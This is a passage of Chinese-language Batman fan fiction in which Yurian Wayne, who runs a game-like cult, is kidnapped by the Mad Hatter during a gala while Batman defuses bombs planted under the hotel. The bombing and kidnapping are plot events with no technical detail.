“不是……这也太好笑了……哈哈哈哈哈哈!小红你快点过来看!”
提姆带着一脸让人怀疑“高中生的课业居然这么辛苦吗”的困倦表情走过来,却也在看见报纸的那一瞬间笑出了声。
“他们甚至没有蝙蝠侠的照片,所以只放了一只卡通蝙蝠。”
因为一些给人带来无尽伤痛的变故,这个家庭平日里的气氛其实很沉闷。但今天却一反常态,两个孩子因为一只儿童画画风的卡通蝙蝠笑个不停。
尤里安也觉得蝙蝠侠被投到第三名很是莫名其妙,毕竟对方在哥谭的传说里更像一个怪物,一个代表恐惧的符号,除了亲身接触过他的罪犯和警察,普通市民连蝙蝠侠是不是人都不知道,他们怎么敢凭借那口深沉喉癌音就假定蝙蝠侠的性别?LGBTQ+组织可不同意!
可是迪克和提姆为什么会笑得这么开心?
哦差点忘了,迪克和提姆似乎是蝙蝠侠的粉丝,尤里安在他们的房间里见过蝙蝠侠的超轻黏土手办。
迪克甚至还诚恳地问:“请问这份报纸可以给我吗?待会我再出门给你买一份——我想把得奖的这一页剪下来收藏。如果不把布鲁斯和蝙蝠侠同框得奖的这一页牢牢记住的话将来的我绝对会后悔的!”
尤里安沉默两秒:“呃,请便。”
就算不给他买也没关系,他才不想看见自己被布鲁斯和蝙蝠侠夹在中间的样子。
9. 疾病肆虐的时节(9)
“你们在说什么?”
就在迪克和提姆一边捧腹一边举起报纸研究要怎样裁剪保存时,一道几乎不可能出现在早餐时间的声音突兀地插了进来。
兄弟俩被这一声惊得差点炸毛,回头看了眼不知何时站在门口的布鲁斯,表情有点慌张。不过扫了一眼尤里安之后,他们的笑容又变得大胆起来。
“布鲁斯,快来看这个,你和尤里安都上榜了!顺带一提,蝙蝠侠就在你们后面。”
他们把那份报纸摊开,将首页的照片和排名展现给布鲁斯看,特别是“最受欢迎男人top3”和“蝙蝠侠”那两行字,然后装模作样地感叹了句:“啊……真没想到,蝙蝠侠和布鲁斯你居然只相差了两千票,看来喜欢蝙蝠侠的人比想象中的要多很多。”
尤里安注意到布鲁斯的眉毛抽动了一下,看起来很无语。
然后他用抱怨的语气说:“真是够了,别在我面前提起那只蝙蝠好吗?我讨厌那家伙。”
不知道是不是因为舟车劳顿,布鲁斯的气色比前几天差了一点,甚至没来得及处理新冒出来的胡茬。不过这丝毫不影响他的形象,反而让他看起来更有成熟男人的魅力了……
唔,好像不小心盯得有点久。
尤里安收回视线,问布鲁斯怎么会在这个时间点回来。
布鲁斯耸了耸肩:“虽然我也很想在纽约多待几天,和托尼碰个面,但今天还有场晚宴等着我。”
尤里安了然。
布鲁斯所说的那场晚宴是由凯恩、卡特和格兰特家族牵头举办,庆祝斯普朗救济院和温士顿公益儿童医院建设项目正式启动的活动。上次的慈善晚宴的目的是吸引更多力量加入新哥谭计划的建设之中,这次的宴会虽然也有这个目的,不过更多是为了表示他们已经有所行动,与此同时还有更大的社交意义,韦恩家的几位自然也都受到了邀请。
布鲁斯对这个计划很上心,不可能错过这个活动。
不过那是晚上要考虑的事情了。在上午九点保持清醒对布鲁斯而言显然是一件非常困难的事情,他简单吃了点早餐,就打着呵欠回房间补觉去了。
阿福批判了几句这种昼夜颠倒的行为,顺便叮嘱其他人千万不要向他看齐,大家都乖乖应好,努力装出一副乖宝宝形象。
然后提姆去了学校,迪克也活力满满地出门了,像只一不留神就会窜得没影的活力小狗,连准备了雨具想让他出门带上的阿福都没能叫住他,尤里安不确定他是不是真的跑去买报纸了。
不过看见布鲁斯终于回家,尤里安的心情很好,甚至久违地去了趟公司,处理前几天积压下来的工作——可喜可贺,经过三四天的休养,管家先生终于肯放他出门了。
重要的文件提姆都已经帮他看过了,他只要处理一些并不紧急的,所以完成得还算轻松,一个早上就把积压的工作和当天的全部工作量全部完成了。
优秀的老板会自己给自己放假,尤里安在这点上从来不会为难自己。又确认了一遍工作已经完成后,他就快乐地回到庄园让本体上床休息,同时切到另一具身体里画画。
昨天他的画很顺利地卖了出去,而且直接卖出了3份[金钱]的高价,尤里安的兴致上来了,准备再画一幅。
大概画到傍晚,疯帽匠给他带回了探索的结果。
【教徒疯帽匠】:“今天发现了几只水沟里的小老鼠,我对他们的秘密行动不感兴趣。不过考虑到您或许需要人手,我将他们变成了自己人。”疯帽匠命令几个男人向教主效忠,“希望他们能给您带来些许助益。”
尤里安点开探索栏,【炸弹制造师】【破门顾问】和【大块头之人】这几张雇工卡飞出来,整整齐齐地排列在桌上,看得他目瞪口呆。
这几个雇工的属性都很优秀,炸弹制造师具有5点铸属性和3点刃属性,不仅可以制造爆炸,自身也具备超乎常人的武力值;破门顾问具有5点启属性,是开门的好手,探索密室必备人选;大块头之人则是刃3,拥有凡人之中不俗的武力,甚至可以帮教主揍一顿警探。
雇工和教徒不一样,他们一般是收钱办事,如果尤里安没记错的话,雇工一次只能雇佣一个,时间一到就会自行离开。
但疯帽匠却一下子带回来了三个,而且还免费!
重点是免费!
跟谜语人那个只会神神叨叨的家伙相比,疯帽匠未免也太能干了一点!
一下子得到这么多免费劳动力,尤里安都不知道要怎么用了,试探着先派了个[炸弹制造师]出去——他尝试了一下,发现将铸属性的追随者和教派卡放在一起,追随者就会为教派打工赚钱。
剩下两人则先放置在桌面上,等炸弹制造师回来之后再派他们出门——轮班制,多么人性化的教主。
安排好一切后,尤里安感觉看了眼窗外阴沉沉的天色,选择返回本体。
虽然整个下午他都在画画,但他的本体得到了充足的休息,精力恢复了不少,至少比刚下班时好多了。
尤里安看了眼具体的时间,刚好五点,还来得及。于是他认认真真洗漱完,才走进衣帽间挑选晚上要穿的衣服。
刚拿出一件衬衫,他就隐约听见敲门声,提高音量说了声“请进”。
布鲁斯进来时,尤里安正在扣衬衫上的纽扣,衣帽间的门是半敞的,完全没有半点防备的意思。
布鲁斯脚步顿住,很自觉地退了出去,隔着门说:“今晚哥谭大酒店的宴会,阿福说你也要去。”
“那当然。”
“我记得你才刚发过烧……”
这时尤里安将衬衫夹固定在大腿上,调整了一下松紧度,使得松紧带能恰好勒住大腿上的一点肉,避免因为动作过大滑走。听到这话,他强调道:“我已经好了,完全好了!阿福都同意放我出门。布鲁斯,你是不是在纽约玩得太开心,都忘记那已经是几天前的事情了?”
布鲁斯试图辩解:“我的意思是今晚也许会下雨,这种天气不太适合出门,如果喜欢这种社交场合或许可以挑一个更好的天气……”
“好了,说了这么多,你是不是不想让我去?”听出布鲁斯的潜台词,尤里安直接拉开衣帽间的门瞪着他,语气有点不满,“难不成今晚你有什么特殊约会,我到场会影响到你吸引女士的魅力吗?”
因为出来得很急,他还没穿上裤子,除了两条黑色的皮带勒住腿根,脚趾陷在毛绒地毯里,光裸的长腿一览无余。
布鲁斯呼吸一滞,默默移开视线;“我只是担心你……的身体。”
尤里安也意识到自己的反应有点超出界限了,暴露在对方视线中的皮肤不自在地绷紧发烫,强行维持着镇定,退回去穿好裤子才出来。
他本来想久违地发个火,因为他实在是受够这种被当成易碎品锁起来的生活了。然而对上那双俊美忧郁的钢蓝色双眼时,尤里安却忍不住软下语气:“帮我一下,布鲁斯。”
说着,黑发青年仰起头,露出白皙柔软的颈脖,要布鲁斯给自己打领带——他自己打的领带有点歪,看起来不太美观。
尤里安当然是故意的,他不知道布鲁斯看不看得出来。但他可以
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确定的是,哪怕是还在吵架布鲁斯也不会拒绝自己的请求。
布鲁斯果然妥协了,轻叹了口气说“好吧,是我的错,希望我们都能有个美好的夜晚”,然后低下头,耐心地帮他重新打上领带,还顺手帮他整理了一下衬衫的衣领。
其实布鲁斯自己的领带都是由阿福代劳,但他却很擅长帮别人打领带,因为小时候尤里安的装束都是他负责的。
可是长大以后,这样亲昵的时间反而少了,尤里安不知道变化是从什么时候开始的。当粗糙的手指不经意蹭到颈脖的皮肤,他不受控制地一抖,被触碰的皮肤陡然发烫,又在布鲁斯疑惑地看过来时强装淡定地垂下视线,任由对方帮他整理衣领,抚平衬衫。
平复完急促的呼吸,尤里安差不多恢复冷静了,他抬头看向这位离自己越来越远的兄长,语气有点难过:“不要把我当成玻璃柜里的瓷瓶一样锁起来,我的身体我可以自己负责。布鲁斯,我只是……想和你一起。”
……
今天的天气确实不好,阿福去车库里开车时,外头已经开始下雨了。天上乌云沉沉,雨点啪嗒啪嗒打在车窗上,车内的气氛有些沉闷。
尤里安正襟危坐,为了这场晚宴,他的头发打了点发蜡,半边额发向后撩起,露出光洁的额头和黑曜石一样漂亮灵动的眼睛。
当汽车行驶过罗宾逊公园时,他微微侧过脑袋,表面上是侧着脑袋看窗外的景色,但布鲁斯知道他实际上是在通过车窗玻璃的反光悄悄观察自己。
像只认为自己做了坏事悄悄观察人类表情的小猫。
布鲁斯韦恩其实对早上那份报纸的排名嗤之以鼻,在他看来,蝙蝠侠能上榜就够荒谬了,肯定有无聊的人使用了不公平手段,比如买票刷票。
不过过于高调并不是件好事,布鲁斯很乐意自己和蝙蝠侠上榜的消息能够吸引部分不怀好意的视线。
最近哥谭暗流涌动,他和夜翼在追查那批走私军火的源头时发现有人做了假账,有相当数量的火药不知所踪。此外,谜语人、疯帽匠先后越狱,小丑、毒藤女或许也有参与其中。蝙蝠侠怎么可能有时间去纽约,放出和萝丝女士出行游玩的消息只是为了方便他随时消失在公众的视野。他这几天忙得焦头烂额,几乎把整个哥谭都翻过来检查了,还把阿卡姆那群人全都揍了一遍,都没问出来疯帽匠在哪、他们为什么要帮助疯帽匠越狱。
蝙蝠侠相信这一切蛛丝马迹都会相互关联,但他缺失了最关键的一条线索,或者一个人,所以他的调查陷入死路。
丢失的军火和不知去向的疯帽匠就像一个隐藏在平静表象下的炸弹,随时都可能把所有人炸上天,这段时间里哥谭的任何一个角落都不安全,这也是他不希望尤里安出现在公众场合的原因。
但尤里安什么都没做错,他只是拥有正常的社交需求,布鲁斯韦恩有什么资格限制尤里安的行动?他只能借着整理领口的功夫,在尤里安身上多放几个定位器和监听器,保证对方的安全。
此时他们已经抵达目的地,窗外的雨势也更加猛烈。布鲁斯从阿福手中接过一把黑色的大伞,把尤里安遮得严严实实。
两人并肩往哥谭大酒店里走,尤里安的心情已经好起来了,一路上都在兴致勃勃地和他搭话,还不断靠过来,胳膊都紧紧挨在一起。
似乎是感觉到自己的意图过于明显,他还为自己的行为辩解:“今天的雨好大,不靠得近一点连说话的声音都听不清。”
布鲁斯并没有拆穿他,只是绅士地把伞面往他那边倾一点,为他牢牢挡住猛烈的暴雨。
10.疾病肆虐的时节(10)
等两位韦恩在侍者的引导下步入宴会厅时,受邀者已经基本来齐了。
见到他们到场,几位身着华美礼服的女士就步履款款地迎过来,像是锦簇的鲜花,各有各的美丽。
人人都知道布鲁斯韦恩对待女人优雅绅士,出手大方,除了恋情太短,基本没有任何缺点。而且只要能与他共度一晚,就能被那些疯狂的记者送上报纸头条,获得免费的曝光。这种既能让自己爽到,又对事业大有助益的人,谁不想来试一试呢?她们都在猜测布鲁斯的下一位绯闻女友会花落谁家。
而就在一位大胆的女士将芊芊手指搭上布鲁斯的领带,试图和他调情时,她忽然感受到一道阴暗粘稠的视线,像黏糊糊的章鱼触手一样缠上她的手指,怨气重到都要实体化了。
她惊讶地朝那个方向看去,却发现尤里安韦恩若无其事地将脑袋转开。
今晚尤里安穿着黑色西装,衬衫也是深色的,如此沉闷的衣着,却搭配了一枚暗红色的胸针,华美的红宝石在灯光下闪烁着迷人的光,他身上有一种和布鲁斯韦恩完全不同的气质。
如果说布鲁斯是帅气散漫、幽默风趣而且易于接近的哥谭甜心,尤里安就是一朵暗室里的玫瑰,鲜嫩优雅、柔美脆弱,馥郁甜美的香气浓烈得光是靠近就会让人头晕目眩。他少言寡语,但他的魅力却具有强烈的攻击性。
不是没人想要攻克他,但他实在太难接近了,整个人都呈现出一种尖锐的脆弱感,不像布鲁斯一样可以光速恋爱并且毫无负担地月抛甚至周抛。和那群满脑子只有破坏欲的男人们相比,女士们看待尤里安更多的是出于对美的怜爱和欣赏。
刚才的视线……是错觉吗?
那位女士有些惊疑。
她更倾向于认为视线的源头是自己的竞争者,或者是其他嫉妒她成功接近了布鲁斯的人。
不过只敢躲在一旁阴暗注视的人,不可能成为她的对手。
这样想着,她撩了撩头发,扬起一个更加美艳大方的笑脸。
但她也没和布鲁斯攀谈多久,另一拨人注意到这个角落,纷纷朝这边走过来,他们都是本次重建事业的积极参与者。
“布鲁斯,你终于来了,我们正在担心你怎么还没到呢。”说话的是哥谭慈善公益委员会会长贝蒂女士,她是一位热心公益事业的老太太。
布鲁斯朝女士们眨了眨眼,露出一个歉意的微笑,随后就丝滑地融入新的群体当中:“雨势稍微有点大,让你们久等了,真是抱歉。”
“不,我们不是这个意思,今天的雨确实有点大,但我们关注的是另一件事。”一旁的副治安官戴维斯先生说,“韦恩先生,请问您这几天有没有收到什么奇怪的信件?”
“为什么这样问?”
贝蒂女士:“因为我们都收到了恐吓信,信里的内容是叫我们立刻停止改变哥谭的愚蠢想法,信封里还夹着一颗子弹。”
城市规划委员会委员长格兰特先生:“我收到的是一条引线——也许是炸弹上的。”
戴维斯很是愤怒:“这座老旧的城市早就需要改造了,我想不通是什么人在阻止我们!我们不能示弱,必须相信政府和警局的力量,一旦退缩他们只会更加猖狂。这次的重建计划如果停止,下次启动就不知道是什么时候了。”
大家都是哥谭人,这座城市是他们的母亲,他们对这座城市的混乱程度再清楚不过,哥谭需要的不仅仅只是建筑上的重建,法律和制度也需要相应的变革,这也是他们作为先行者站出来改变哥谭的原因。如果连他们也轻易退缩,谁来改变这座城市?
在布鲁斯还未到场时,他们就已经讨论了一番,一致决定要坚持计划抗争到底。
布鲁斯表情凝重:“你们把情况报告给警局了吗?”
戴维斯先生:“是的,昨晚就报告了,现在警局正在追查恐吓信的来源。你没收到奇怪的信件吗,布鲁斯?”
“目前还没有。”布鲁斯摇头,心里的预警却立刻拉响。
布鲁斯·韦恩是本次新哥谭计划的提出者,也是主动走到公众面前的代言人。如果隐藏在暗处的人要击溃这个计划,第一个下手的对象肯定是布鲁斯韦恩。
但他却没有收到预告,这或许代表对方想将他放在最后,又或许……他们试图采取更具有影响力的做法。
这几天蝙蝠侠忙于追捕疯帽匠,没有空闲侵入警局的信息系统,戈登也不会主动把所有案情告诉他,他是个优秀的局长,能够自己解决大部分案件。
但现在,他的侦探思维却告诉他不对劲,仿佛有一根针,将过去得到的线索串联起来。
恐吓信。
丢失的火药。
以及……
“今天的雨好大,不靠得近点连说话的声音都听不清楚。”尤里安的话仿佛又浮现在他耳畔。
暴雨。
布鲁斯看向窗外。
瓢泼大雨倾泻而下,在巨大的雕花玻璃上打出啪嗒啪嗒的声响,坠落到地面击打出白色的水花。从他这个视角可以看到窗外的大树在雨中飘摇,连枝叶都被塑造成风的形状。
在这种恶劣的天气里,酒店的侍者会关上门窗,将猛烈的暴风雨隔绝于外,为宾客们创造出温暖舒适的室内环境。
这意味着酒店内部将会成为一个封闭的空间,而风雨声则可以掩盖某些人不愿暴露的动静。
“抱歉,我去趟洗手间。”
没有时间继续闲聊了,布鲁斯当机立断,找了个借口离开。
随后他立刻远程召唤他的蝙蝠车,同时在无人察觉的情况下摸进这栋酒店的员工间,换了套衣服伪装成维修工,以最快速度进入酒店的维修井。
今天的宴会规格相对较高,只有拥有邀请函的人才能进入,酒店方会认真核实进出人员;对于卡特和格兰特家来说,才刚刚收到恐吓信,他们必定会自备安保人员,提前将整个宴会厅都仔仔细细检查一遍。
但是均无发现异常。
这说明异常在容易被人忽视的位置,要么是监控和视线死角,要么是……水声很大的地下。
果然。
四通八达的管道纠缠成森然罗网,雨水和污水混合成湍急的河流滚滚流动,在管道中发出轰隆的声响。
蝙蝠侠盯着排污管上绑着的定时炸弹,电子屏幕上的数字正不断减少,每一次跳动都沉重地击打着他的心脏。
他打开工具箱迅速拆弹,同时以蝙蝠侠的名义联络哥谭警局,告诉戈登有人在哥谭大酒店埋了炸药,目的就是今晚的慈善晚宴,这起袭击和他正在追查的恐吓信有关。
随后他又接通蝙蝠家的内部频道。
“便士一。”
“乐意为您效劳。”
蝙蝠侠语速极快:“把酒店结构图、地下水系统结构图和监控区的死角发给我,我已经将我获得的信息同步给你们了。红罗
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宾负责排查今日进出酒店的可疑人员,夜翼想办法乔装成服务员混入人群,如果情况不对就找借口把他们引导到相对安全的地方。记住,你们只有十五分钟。”
“是!”
蝙蝠家族的成员早就训练有素,接到命令后就立刻开始行动。
这是一场必须胜利的战斗,一整栋楼的宾客正无知无觉地立于危险之上,其中还有他们的家人。
通讯那头传来阿尔弗雷德担忧的声音:“哥谭大酒店……那尤里安少爷?”
“我会在爆炸之前拆除所有炸弹。”蝙蝠侠冷静地说。
在暴雨天让穿着西装礼服的宾客离开建筑简直是不可能的事情,没有一个精心挑选过着装的人愿意出去淋雨,所以,在爆炸发生之前找出所有炸弹就是最优解。
现在唯一的好消息就是哥谭大酒店位于市政中心旁,警察局距离此处不远,马上就会有专业的拆弹专家到场。但他不确定是不是所有炸弹的型号都和眼前这枚相同,又会在什么时候以何种方式引爆,所以他最好在惊动对方之前找出炸弹位置。
……
尤里安正靠在酒店北侧的阳台上。
他看不惯布鲁斯和别人调情,但也不会打扰他的正经事。在那群大叔和老太太过来搭话时,他就识趣地离开了。
宴会厅里太闷,他就找到这个阳台透气。
在天气好一点的时候,从这一侧的阳台望出去,能看见不远处的小花园,各色的花儿乱中有序地簇拥在一起,一片片地绵延,构成一幅生机盎然的画卷。
但现在正在下雨,阴云沉沉,雷声涌动,他看见柔软的花瓣在暴雨里狂乱地颤抖,纤细的枝叶在狂风中无助地摆动,跳跃的水汽反射着灯光,如冷色的烟花一样潇洒迸溅。
尤里安的心情是一种奇异的愉悦,诡异的安宁,偶尔有细碎的雨丝飘至他的皮肤,带来轻微的战栗。
他似有所感,打开墨绿色桌面,发现桌上不知何时出现了一张[灵感]。
【灵感】*:暴雨,雷电,玫瑰,转瞬即逝的狂乱之舞。有些事物我永远也不会理解,因而永远都那么珍贵。我的情绪比平常更为高昂。
通常来说,[灵感]可以用来给[激情]加点,但尤里安的激情技能已满,他就顺手把这张卡投入正在运转的绘画区,作为此次绘画的灵感。
不行,在阳台站得有点久,不能继续吹风了,否则今晚他又得听阿福的唠叨。
就在尤里安准备回到室内时,他听到不远处传来密集的脚步,发现这群人是从前厅过来的。
“韦恩少爷,终于找到您了!”为首的侍者也看见了他,狠狠松了口气。
“怎么了?”尤里安感觉他的语气很奇怪。
侍者解释:“因为暴雨腐蚀线路,本层楼的通风系统发生故障,部分区域供暖气体泄漏,可能造成危险,我们正在组织宾客前往另一处地点。”
从尤里安这个角度能看见前厅的灯光已经被关掉了,还隐约传来滋滋的声响。跟在侍者身后的宾客们正在抱怨怎么会出现这样的差错,其中还有一位刚刚才跟布鲁斯搭过话的女士。
面对众人的不满,侍者也只能不停道歉:“真是抱歉,换地方后会为诸位提供合适的茶点。”
尤里安忍不住问:“布鲁斯呢?”
侍者彬彬有礼道:“韦恩先生也在找您,他已经跟着另一波客人先行撤离了。请随我来。”
11.疾病肆虐的时节(11)
“抱歉,由于消防管道受损,烦请各位移步至侧厅,等待前厅检修完毕,事后我们会给予各位合适的补偿。”
“真的非常抱歉,各位请跟我来。”
此时夜翼已经按照蝙蝠侠的安排潜入酒店,换上服务生的装扮。在秘密潜入的这段时间里,他时刻关注着通讯仪另一侧的情况。
他在地面工作,另一拨人则在地下。蝙蝠侠和警局派来的拆弹专家已经顺利地解决了大部分炸弹,但在最后一枚炸弹的拆除环节上遇到了一些困难。
听拆弹专家的描述,这似乎是一种新型炸弹,他没有把握在倒计时结束之前将完成拆弹。
这意味着他该开始工作了。
夜翼向蝙蝠侠确定了那枚炸弹的位置,悄悄用蝙蝠镖破坏了宴会厅上方的消防系统管道,然后堆起笑脸,以管道受损天花板漏水为由把宾客们带离危险区。
在行动过程中,他没忘暗中观察人群,寻找尤里安的身影,却始终一无所获。
也许尤里安原本就不在这个角落?
夜翼心里莫名有些发慌,但时间紧迫,生死攸关,当务之急是带走这些宾客,他也只能在宾客们的抱怨中歉意微笑。
……
两分钟后。
哥谭大酒店外围的一个井盖被人从内侧推开,浑身湿透的警察局局长詹姆斯·戈登和其他警员从中爬了出来。
“谢天谢地,最后一个炸弹在最后十秒里被拆掉了。究竟是什么人放置的炸弹?我之前甚至没见过这种新型产品——放置在潮湿的位置不但不会失效,还可以靠湿度变化启动。多亏你发现炸弹藏在地下,不然我们还在地上白白忙活。”
“真不知道又是哪里来的疯子,他们的目的竟然不是建筑本身,而是地下排污系统。如果管道被炸,地下水位骤变引起地基液化,上方的建筑也会直接坍塌,整栋楼的人都要陷入危险。”
而这仅仅只是开始。
哥谭的地下布满蛛网一样的管道和线缆,这些线路已经有一百年的历史了,上千英里长的电线,搭载上万伏特的电力,老旧又脆弱,杂乱而危险。如果地下水系统被炸毁,供热管道和电缆隧道也会受到影响,像多米诺骨牌一样引起连锁反应。
今天还是个下雨天,雨水会将地下与地面上的一切联系在一起,电气泄露将会转变为一场彻彻底底的灾难,人群很可能会因为突发事件惊慌失措,争相往外逃离,从而衍生出严重的踩踏事件……
但凡有一个炸弹爆炸,都将带来不可挽回的后果。
“不过炸弹的数量没有想象中的多,分布的位置也不够合理。如果他们的目标是用前厅那些人制造一个大新闻,炸弹的数量应该更多,位置也应该更集中一点,这样就算我们派了整个拆弹小组过来也无力回天。”戈登从风衣的口袋里掏出一个湿透了的烟斗,说出自己的推测,“这简直像是……他们只布置了一半就不知所踪,根本无暇顾及后续的计划。”
此时天幕上有白光闪过,陡然照亮静默地立于戈登身后的黑影。
蝙蝠家的通讯频道里同时传来夜翼焦急的汇报:“有部分宾客失踪了!尤里安也在失踪名单里,我组织撤离时就没找到他!”
蝙蝠披风被狂风卷起,暴雨带来彻骨的冷意。被熊熊燃烧的怒火吞噬的暗夜骑士目光如火,消失在下一道闪电亮起之前。
风中飘来他最后留下的语句——
“有第三股势力介入了。”
“我会继续调查。”
……
首先出现在梦中的是安静的雨。
林地的水流既冷且深,却并不澄净,尤里安听见雨在檐上低语,像个老朋友般轻轻敲击窗户,恶作剧般地在烟囱里发出嘶嘶声,最终留下一片平静的涟漪。
房间里布满封闭的门。各种颜色的门,玻璃门和木门,像书籍一样装订起来的门,轨道车箱门和卧室门,无数的门,静静伫立,又吱呀一下开启。
尤里安醒过来,他看见自己正拿着画笔。
画板正对着窗外的景色,大胆的笔触凌乱地泼洒在画布上,画中的内容是一场雨。
并不是窗外那冰冷发灰的雨,而是狂放艳丽的雨,肆无忌惮,毫无道理,泼洒的血色像钢针一样锋锐凶狠,又如烟火一样转瞬即逝。
雨中似乎还有一个人,纤瘦优雅,容貌昳丽,像一抹长长的鬼影,马上就要融化进雨水里去。
他从头到尾都在画画?可是为什么他完全没有拿起画笔的记忆?
尤里安凝视着画中的景象,开始回忆自己醒来之前的情景。
凌乱的脚步,不满的抱怨,急切的担忧……发生了什么来着?
对了。
那个服务员——
尤里安的脑海中闪过那个褐发侍者低眉顺眼的样子。
他以为那人会带他们和其他人汇合,但他只是把他们带到一个侧厅。
尤里安再次询问其他人在哪里,服务员的解释是宴会人数太多,他们被分散到不同的地点,但他可以保证的是大家都绝对安全,并为他们提供了热水和茶点。
那时尤里安已经察觉到不不对劲了,作为一个哥谭人,他对危险的感知十分灵敏。虽然集体绑架的案件比较少见,但也不是完全没有。
就在他观察周围的环境准备找机会悄悄离开的时候,他忽然感觉浑身发软,呼吸困难,眼前的景色也变得颠倒错乱。
他意识到也许从进入这个房间的那一瞬间,他就无知无觉地吸入了某种危险的气体。
但现在才意识到这一点已经太晚了,他完全昏死过去,等再次醒来时,似乎有人把什么东西架在他的脑袋上。
他听见“嗡”的一声响,再然后,他的脑子里又只剩下混沌的碎片,像是黏土被打碎重塑,只能反复听见一道沙哑的声音。
“爱丽丝……你和报纸上说的一样美,只是还需要一点点改造……”
“不过不用担心,我会帮你盛装打扮……来参加我的茶话会吧!”
爱丽丝。
多亏了这几天才在游戏里频繁接触,听到这个名字,尤里安立刻反应过来——说话的那个人就是疯帽匠!
他什么时候又从阿卡姆跑出来了?蝙蝠侠怎么连几个犯人都管不好,天天跟那群神经病玩你追我逃。
还有,这家伙是疯了吗?他要找他的爱丽丝,目标不应该是金发碧眼的女士吗?自己一不是女人,二没有金发,为什么会被这家伙找上门?
尤里安感到莫名其妙,如果他遇到的是普通的绑匪也就算了,交个钱就可以解决大部分问题。但他遇见的是疯帽匠,那些阿卡姆常驻住户的做法都无法以常人思维预测。
今天他和布鲁斯一起出门,却在宴会途中突然消失,布鲁斯肯定会很担心……
想到这里,尤里安放下手中的画笔,尝试回到自己的身体里去。可无论他怎么努力,都无法感受到那种在账号之间切换的感觉,就好像本体已经跟他断联了。
或许他的身体还在沉睡。
尤里安尝试无果,索性打开墨绿色桌面,试图在桌面上寻找线索。
游戏更新了这么多天,尤里安已经意识到了,这游戏能在一定程
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度上反映现实,比如在犯罪巷里拿到的那张[入迷],又比如在酒店花园里得到的[灵感]。
果然,他的桌面上又出现了一张新卡。
【躁动】:我为一种躁动的向往所俘,我有一件迫切想做的事情。
尤里安大概知道这张卡是从哪里来的,通过入梦栏进入事件[睡梦中的熙熙攘攘],有概率进入关于门的梦境,这个梦境结束之后就会刷一张[躁动]出来。
看起来没什么作用。
尤里安在桌面上找了一圈,没有发现其他新卡,就把代表疯帽匠的卡牌拖出来——卡面文本的描述会根据教徒的状态发生变化。
【教徒疯帽匠】:我的茶话会已经准备完毕,只需等待爱丽丝醒来。
茶话会。
这个疯帽匠也要举办茶话会。
尤里安用手指轻抚颜料盘,指尖上留下一抹鲜艳的红色,触感黏腻而真实。他把这抹红涂抹在画纸上,看向窗外的沉沉黑云,心想:连天气都一模一样。
他的意思是——既然这个游戏的细节这么真实,背景那么考究,他或许可以通过游戏得到关于疯帽匠的情报。
至少比什么都不做要好,等他的本体醒来,掌握更多的信息能让他获得更多主动权。
尤里安开始梳理这几天来疯帽匠做的事情,最后锁定了一处地点——博特尼花园。
【博特尼花园】:博特尼花园拥有这座城市最大的温室花房,无数植物在这里获得腐烂和新生。传闻说花房里的花香能够勾起人们贪婪的食欲,这会是窥见真相的地点吗?
尤里安当然知道博特尼花园,不但知道,而且还很熟悉。在现实中,它曾经的名字是“韦恩·博特尼花园”,那时它还是韦恩家的私人花园。后来它被捐给政府,开放给哥谭市民,成为了一个有名的景点。
而在游戏里,这是疯帽匠外出探索时带回来的地点,这代表疯帽匠曾经去过那里。
也许,这座花园里会有什么线索。
尤里安从衣帽架上取下斗篷披在身上,顺手拉上宽大的兜帽,借着玻璃反射出自己现在的模样。
黑色的斗篷,宽大的披风,灯光从头顶投射,浓浓的阴影打在他脸上,只露出一小截苍白的下巴。
很好,哥谭罪犯晚上出门的经典装扮。
尤里安关上窗,将画架收起来,随后检查了一下自己拥有的卡牌。
桌面上还有几张绘画得到的[秘氛],以及前两天派人探索时得到的[入迷][安逸]和[灵感],这些卡牌都代表某种“影响”,似乎无法直接使用。
而他的基础属性则达到了[健康]x5,[激情]x6,[理性]x6,与之对应的技能分别是[技能:完美体魄][技能:洞开的灵魂]和[技能:静默的厚重]。
尤里安不太确定后面两种技能在绘画和写作之外有什么效果,但有过上次在犯罪巷里遇到抢劫犯的经历,他认为自己现在应该是一个力大无比思维敏捷的人,可以放心在这座罪恶之都里自由来去。
想到这里,尤里安看了眼阴沉沉的天色,拉开破旧的房门,试探着踏出去——这是他第一次主动脱离正在进行的作业。
他有些担心在作业区域之外的空间是虚无的空白,那样意味他的许多行动都会受到限制。
不过还好,他没受到任何阻碍。
细雨蒙蒙,雨中的世界是那么清晰,清爽的空气中带着湿润泥土的气味,一切都是那么真实。
系着绑带的长靴踩在地面的积水上,水洼上泛出阵阵涟漪,倒映出一个斗篷飘飞的背影。
12.疾病肆虐的时节(12)
这个世界跟现实并无不同。
每一栋建筑,每一个街道,每一寸土地,主街道上的霓虹街景,小巷屋檐随处可见的滴水兽,都和尤里安记忆中的一模一样。
他循着记忆前行,在这个冷冰冰的雨夜里,室外几乎没有行人,只有彩色的霓虹光线照在他的斗篷上,斗篷边缘的神秘花纹反射出冷色的光彩。
足够的[健康]让尤里安的身体充满活力,额外的[激情]则让他健步如飞,尤里安感觉自己像轻盈的叶片一样被风推着行走,完全感受不到任何疲惫。在跨越了小半个城市之后,这两张卡牌变成了灰色,这代表它们需要冷却时间。但无所谓,重复的卡牌尤里安还有好几张。
于是,消耗[健康]x1,[激情]x2,并没有借助公共交通的力量,他很快就到达了目的地——
博特尼花园。
在尤里安很小的时候,他曾经和自己的家人来这里野餐。尤里安仍然记得玛莎温和的笑脸,她的笑容比她身后的郁金香花海还要迷人。那时布鲁斯刚刚放学,还穿着学校的马甲衬衫和短裤,尤里安趴在他身上,黏黏糊糊地要吃他手里的饼干,托马斯笑而不语,坐在一旁给他们拍照。现在那张照片仍然挂在尤里安的卧室里。
但在变故发生以后,尤里安就很少出门了,更不会特意来这座花园。
时隔二十年,他因为疯帽匠再次回到这里。
这个时间点花园并未开放,到处都漆黑一片,尤里安打量了眼围墙的高度,轻轻松松翻了进去,连衣角都没有碰湿。一进入花园的范围,泥土的腥气和糜烂的花香就混杂着扑面而来,与记忆中截然不同的狼狈之景让他有些惊讶。
在这个季节开花的品种并不多,室外只有三色堇、秋海棠和红艳的石蒜花之类的秋季花卉开放,但它们并不像尤里安记忆中那般一大片挨挨挤挤争奇斗艳,而是东倒西歪,花瓣残破,连柔嫩的花蕊都垂到地里,与泥土搅和在一起。
这里也刚刚经历过一场暴雨吗?
尤里安心里产生了淡淡的疑惑,但他没有深究,而是专心探索这座花园,试图从中寻找疯帽匠留下的痕迹。
用寻常的方式探索有点浪费时间,尤里安试探着使用了一张[理性]。
